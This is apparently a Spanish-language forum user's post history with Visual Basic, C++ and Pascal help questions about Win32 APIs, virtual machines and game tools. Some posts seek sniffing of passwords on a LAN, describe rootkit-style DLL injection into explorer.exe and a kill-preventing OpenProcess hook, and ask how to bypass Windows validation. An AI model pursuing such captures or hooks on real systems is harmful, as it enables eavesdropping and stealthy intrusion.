creacion, ultimo acceso, ultima modificacion de un archivo, yo tenia unos codigos pero los perdi... los nombres de las apis ni los recuerdo, ahora estoy que busco pero todavia no hay resultados, si saben cuales son les agradeceria que pusieran los nombres para buscar info.
#30
hola vi las apis para listar archivos, hice este codigo:

Código (vb) [Seleccionar]

' 1 command1 + 1 text1
Option Explicit

Private Type FILETIME
    dwLowDateTime As Long
    dwHighDateTime As Long
End Type
'Estructura WIN32_FIND_DATA para info de archivos
Private Type WIN32_FIND_DATA
    dwFileAttributes As Long
    ftCreationTime As FILETIME
    ftLastAccessTime As FILETIME
    ftLastWriteTime As FILETIME
    nFileSizeHigh As Long
    nFileSizeLow As Long
    dwReserved0 As Long
    dwReserved1 As Long
    cFileName As String * 300
    cAlternate As String * 14
End Type
 
 
 
 
Private Declare Function FindFirstFile _
    Lib "kernel32" _
    Alias "FindFirstFileA" ( _
        ByVal lpFileName As String, _
        lpFindFileData As WIN32_FIND_DATA) As Long
 
'Api FindNextFile (busca el siguiente)
Private Declare Function FindNextFile _
    Lib "kernel32" _
    Alias "FindNextFileA" ( _
        ByVal hFindFile As Long, _
        lpFindFileData As WIN32_FIND_DATA) As Long
 
'Api GetFileAttributes (para recuperar los atributos de los archivos)

 
Private Declare Function FindClose _
    Lib "kernel32" ( _
        ByVal hFindFile As Long) As Long

Private Sub Command1_Click()
    Dim hFind As Long, RNext As Long, tmP As String, WFD As WIN32_FIND_DATA, Archivo As String, P As Long, Total As Long
    hFind = FindFirstFile("d:\*.*", WFD)
    tmP = "hFind: " & hFind & vbCrLf
    RNext = FindNextFile(hFind, WFD)
    While RNext <> 0
        Total = Total + 1
        tmP = tmP & "rNext: " & RNext & vbCrLf
        Archivo = WFD.cFileName
        Archivo = Replace(Archivo, Chr(0), "") 'borra los nulos
       
        tmP = tmP & Archivo & vbCrLf
        RNext = FindNextFile(hFind, WFD)
    Wend
    FindClose hFind
    Text1.Text = "Total archivos: " & Total & vbCrLf & tmP
End Sub


ejecuto el codigo , y el resultado es una lista en la que se repiten los nombres de los ficheros, luego intente ejecutandolo compilado y el resultado es el mismo:


http://hosting11.imagecross.com/image-hosting-64/3767error.jpg


*luego encontre la solucion cambiando el codigo de esta manera:

Código (vb) [Seleccionar]
Private Sub Command1_Click()
    Dim hFind As Long, RNext As Long, tmP As String, WFD As WIN32_FIND_DATA, Archivo As String, P As Long, Total As Long
    hFind = FindFirstFile("d:\*.*", WFD)
    tmP = "hFind: " & hFind & vbCrLf
    RNext = FindNextFile(hFind, WFD)
    While RNext <> 0
        Total = Total + 1
        tmP = tmP & "rNext: " & RNext & vbCrLf
        Archivo = WFD.cFileName
        P = InStr(1, Archivo, Chr(0))
        If P > 0 Then Archivo = Left(Archivo, P - 1)
       
        tmP = tmP & Archivo & vbCrLf
        RNext = FindNextFile(hFind, WFD)
    Wend
    FindClose hFind
    Text1.Text = "Total archivos: " & Total & vbCrLf & tmP
End Sub



el resultado:

http://hosting11.imagecross.com/image-hosting-64/4585solucion.jpg


*weno, no entiendo si los 2 codigos hacen lo mismo por que uno falla y el otro funciona bien, alguien podria explicar?
#31
habra alguna forma de obtener los hwnd de las ventanas hijas de los juegos?
por decir: botones, o lista de opciones que al pasar el mouse se sobresalen o brillan o en algunos juegos que tienen cuadros que tienen animaciones como de flash bien llamativo.


he intentado usardo enumchildwindow en ventanas de juegos que tienen gran cantidad de objetos y me salen solo unos pocos hwnd, pero no sale los hwnd de los botones y cuadros de animaciones que digo, intente usar el spy++ del vb6 , pero solo obtengo el hwnd padre y no los hwnd hijas.

anterior intente sacar los hwnd de programas y funciona normal pero de juegos no se por q no se puede.

algunos juegos de los que intente sacar las hwnd hijas:

http://hosting11.imagecross.com/image-hosting-64/135game1.jpg

http://hosting11.imagecross.com/image-hosting-64/8523game2.jpg

http://hosting11.imagecross.com/image-hosting-64/6566game3.jpg
#32
hola me podrian decir que apis necesito para obtener propiedades de las ventanas padres e hijas (textbox,formulario,botones) de otros programas , y poder modificar esas propiedades?
por ahora he conseguido:

-enumwindows
-enumchildwindows
-enablewindow
#33
Seguridad / programa proxy ?
8 Marzo 2011, 17:33 PM
hace algun tiempo vi un post sobre un programa proxy + video tutorial bastante genial, si mal no recuerdo este tenia una opcion para anonimizar cualquier programa que conecte a internet, tan solo con seleccionar el programa y un server proxy, no recuerdo en que parte estaba, pero estoy seguro de que era en este foro. ¿alguien recuerda el post?
#34
quiero hacer un codigo que envie pulsaciones a "x" ventana que no este activa con sendmessage ,pasandola un handle, como simular los eventos keydown-keyup-keypress del textbox, tengo este code:



'emisor de mensajes
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long


Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)


Const WM_KEYDOWN As Integer = &H100
Const WM_KEYUP As Integer = &H101
Const VK_SPACE = &H20
Private Sub cmdCommand1_Click()
   Dim hwnd As Long
   hwnd = Val(txtHWND) 'handle del textbox receptor
   SendMessage hwnd, WM_KEYDOWN, 65, 0&
   'Sleep 1000
   SendMessage hwnd, WM_KEYUP, 65, 0&
End Sub



para hacer las pruebas hice otro code ya compilado donde tiene un textbox que recibira los  mensajes de pulsacion y los mostrarà en otro textbox:


'receptor de mensajes
Private Sub Form_Load()
   txtHwnd.Text = txt.hWnd 'muestra su handle
End Sub

Private Sub txt_KeyDown(KeyCode As Integer, Shift As Integer)
   txtRes.Text = txtRes.Text & "[KeyDown] Keycode: " & KeyCode & ", Shift: " & Shift & vbCrLf
End Sub

Private Sub txt_KeyPress(KeyAscii As Integer)
   txtRes.Text = txtRes.Text & "[KeyPress] KeyAscii: " & KeyAscii & vbCrLf
End Sub

Private Sub txt_KeyUp(KeyCode As Integer, Shift As Integer)
   txtRes.Text = txtRes.Text & "[KeyUp] KeyCode: " & KeyCode & ", Shift: " & Shift & vbCrLf
End Sub


he corrido ambos pero no se reciben los mensajes, ademas probe agregandole una pausa con sleep pero no da resultado, que podria estar mal en este codigo?
#35
hola pretendo  hacer un prog. que al jugar yo el star craft 3vs3 el prog. se conecte al juego y quede como aliado y poder enviarle instrucciones por mensajes, asi:

player1 human: (me)
player2: human (bot)
player3: computer

vs

player4: computer
player5: computer
player6: computer




ejecute el star craft en pc real y a la vez en pc virtual y jugue por 2 a la vez, ahora use el socketsniff y el iptools pa capturar lo que envian los sockets del star craft (supongo que usa sockets) y tratar de entender los comandos que se supone que envian por cada instruccion de un jugador, pero no recibo nada, una ayuda con este prog. no tengo nada asta ahora , por este problemilla.
#36
hola estaba leyendo el curso "introduccion a la programacion de drivers en WINDOWS de hendrix", esta interesante, ya hice mi primer hello world ,pero kisiera continuar y aprender mas de esto,sabran algun tuto, o curso o web en español donde pueda aprender mas, especialmente una lista y el uso de las apis nativas, algo asi como el apiguide de vb, o winapiconclase.net q lista todas las apis modo usuario. saben si hendrix hizo otro curso acerca de esto?
ojala me puedan ayudar
gracias.
#37
me baje el win xp sp 3 + upgrade, lo puse en una vm de virtualbox y esta que me sale "podria ser victima de una falsificacion de software, esta copia no supero el proceso de validacion original", como hago pa quitar ese mensaje tan persistente?
#38
Software / como actualizar nod 32 ?
10 Enero 2011, 19:45 PM
me baje el nod32 me fije en "ayuda y asistencia tecnica" y decia version "3.0.645.0", este av lo instale en una vm de virtualbox, esta en español y funka bien el problema es que la base de firmas esta en "2911", en mi pc fisico tambien tengo tambien el nod32 version "3.0.650.0", y su base de firmas esta en "5775", gran diferencia no? esta años luz de desactualizacion, cuando le doi a acualizar al nod32 de la vm , me sale que no es necesario porque ya esta actualizada. como puedo hacer para actulizar la base de firma a la ultima version?
#39
Software / ayuda : virtual pc
10 Enero 2011, 17:28 PM
instale el virtual pc 2007, le puse win xp sp3, lo arranque y al inicio todo normal, pero despues de un rato dejo de responder la tecla ESC, F1 hasta el F12, y TAB, en mi pc fisica todo normal, me fui al panel de control de mi pc fisica y me sale USB KEYBOARD , supongo que es por este tipo de teclado, como podria solucionar esto?, estoi q busco en google pero no hallo solucion.
ya tiene los add guest.
#40
me descargue el windows vista ultimate pesa un total de 700 mb para instalarlo en mi virtual box , pero cuando lo descomprimi resulta que no era una imagen de cd (.iso), sino unas carpetas que contenian el setup y sus archivos, lo ejecute y comprobe q si era el setup del win vista, pero el problema es que el virtualbox me pide una imagen de cd para instalar un so, abri el magic iso y le di en crear cd/ dvd .iso, seleccione la carpeta q contenia el setup y se genero el .iso de 700 mb pero cuando lo quiero instalar en el virtualbox no anda me sale : "fatal: no booteable medium found ¡ system failed. que puedo hacer?
#41
holas kise usar el cheat engine para modificar los puntos de mineral de mi starcraft mientras jugaba en win7 pero no puedo abrir el proceso ni con "open" ni con "attach process",  daba el error: "the thread that was supposed to attach the debugger to the process failed" , previamente lo probe en otra pc con win xp y funko normal, que puedo hacer pa q funke normal en win7?
la version del cheat e. es 5.6.1
#42
hola amigos, me estoy iniciando en c++, estoy leyendo varios tutos , y unas refeencias que encontre en unos libros acerca de este lenguaje, anteriormente practicaba vb6, pero por querer aprender más y debido a las limitaciones de vb6 pues agarre c++, es que me recomendaron que este lenguaje es el ideal para continuar aprendiendo, hace poco encontre un tuto de apihooking de mazard me parecio interesante el tema (seguro uds. se habran topado con este buen tuto).
, asi que me concentre en lo que son punteros para entenderlo bien, y tengo dudas acerca de estas lineas:

BYTE *Buffer;
Buffer=(BYTE *)malloc(10);
...
*((signed int *) Buffer)=(DirApi+1)-Buffer;

mi duda no es en si el funcionamiento del codigo, sino la manera de manejar los punteros.
solo puse estas lineas donde se encuentra mi duda,lo que entiendo: aki Buffer es un puntero a un tipo BYTE,
el signed cambia el rango de valores, pero el "int*" para que está ahi?, si el tipo de dato del puntero Buffer es BYTE.
ojala me saquen de esta duda.
saludos.
#43
Hacking / ¿algun tuto del ethereal?
8 Diciembre 2010, 17:00 PM
sabe de Algun enlace web o tuto en español , para capturar trafico en una LAN, como podria guardar el LOG de todas las webs visitadas y los passwords. msn etc?
#44
Hola amigos hace algun tiempo empeze practicar inyecciones de .DLL y rootkit , el codigo .DLL que usaba era el de Mazard que esta en VC++, y el inyector que usaba era uno hecho en VB 6.0 , esto lo practicaba en mi maquina virtual con SO Windows XP service pack 2  y funkaba de lo màs normal (inyecte una .DLL en el explorer.exe que oculta ciertos archivos), pero despues quise probarlo en mi pc fisica con SO Windows 7 ultimate de 32 bits, primero desactive el antivirus , y luego ejecute la inyecciòn en el explorer.exe para ocultar ciertos archivos, se cargaba la .DLL correctamente pero no ocultaba los archivos y despues de un rato se cerraba el explorer.exe y liberada la .DLL inyectada y volvia  a ejecutarse el explorer.exe normal sin cargar la DLL,
lo mismo intente hacer con el codigo Hook al OpenProcess llamado unclose, este tambien funcionaba muy bien en Windows XP, cuando intentaba cerrar el proceso con el task manager nu se podia pero en mi Win7 no tenia el mismo efecto : porque SI pude cerralo con el task manager  y el taskkill del CMD, tengo una duda: ¿Serà acaso que el Windows 7 tiene alguna manera de defenderse de los HOOKS y lac INYECCIONES?
#45
Ejercicios / PROblema con pascal
15 Noviembre 2010, 17:40 PM
Hola, se me pidio hacer este ejercicio: Suponga que desea saber que "perfil" tienen sus llamadas telefónicas. Para ello realizará un programa que solicite la duración de las llamadas y calcule:
la duración total de sus llamadas
el valor medio
el número total de llamadas
y los presente por pantalla.

hago el codigo pero no me pasa de leer la instruccion, les dejo el codigo a ver si ustedes me pueden ayudar, gracias

Código (pascal) [Seleccionar]
Program Llamada;
Uses CRT;
Var Numero:real;
D:Real;
Media:Real;
dtotal:Real;
d1:real;
Begin Clrscr;
Writeln('Duracion de llamada (0 para terminal): ');
Readln(d);
Dtotal:=0;
While (d>0) do Begin dtotal:=dtotal+d;
Numero:=numero + 1;
d1:=d + d;
End;
Media:= dtotal/numero;
Writeln('Numero de llamadas: ', numero);
Writeln('Duracion total: ',dtotal);
Writeln('Duracion media: ', media);
Readln;
End